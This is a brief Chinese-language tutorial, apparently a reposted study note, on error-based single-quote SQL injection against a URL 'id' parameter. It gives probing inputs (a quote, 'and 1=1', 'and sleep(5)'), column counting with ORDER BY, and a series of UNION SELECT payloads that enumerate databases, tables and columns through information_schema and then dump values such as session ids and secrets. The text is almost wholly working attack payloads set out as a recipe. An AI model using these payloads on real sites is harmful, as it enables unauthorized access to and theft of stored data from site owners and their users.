sql注入基於錯誤-單引號-字符型


查找注入點
在url中:
1. '
2. and 1=1/and 1=2
3. 隨即輸入(整形)
4. -1/+1回顯上下頁面(整形)
5. and sleep(5) (判斷頁面返回時間)
 
判斷有多少列
order by .....
 
爆顯示位
id=88888888') union select 1,2,3 --+
先獲取數據庫:
id=')  union select 1,2,group_concat(distinct+table_schema) from information_schema.columns  --+
再獲取數據庫的所有表:
id=') union select 1,2,group_concat(distinct+table_name) from information_schema.columns where table_schema='庫名' --+
再獲取表中的字段:
id=')  union select 1,2,group_concat(distinct+column_name) from information_schema. columns where table_name='表名' --+
再獲取字段信息
id=')  union select 1,2,group_concat(id,sessid,secret_EXS6,tryy) from 庫名.表名--+


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM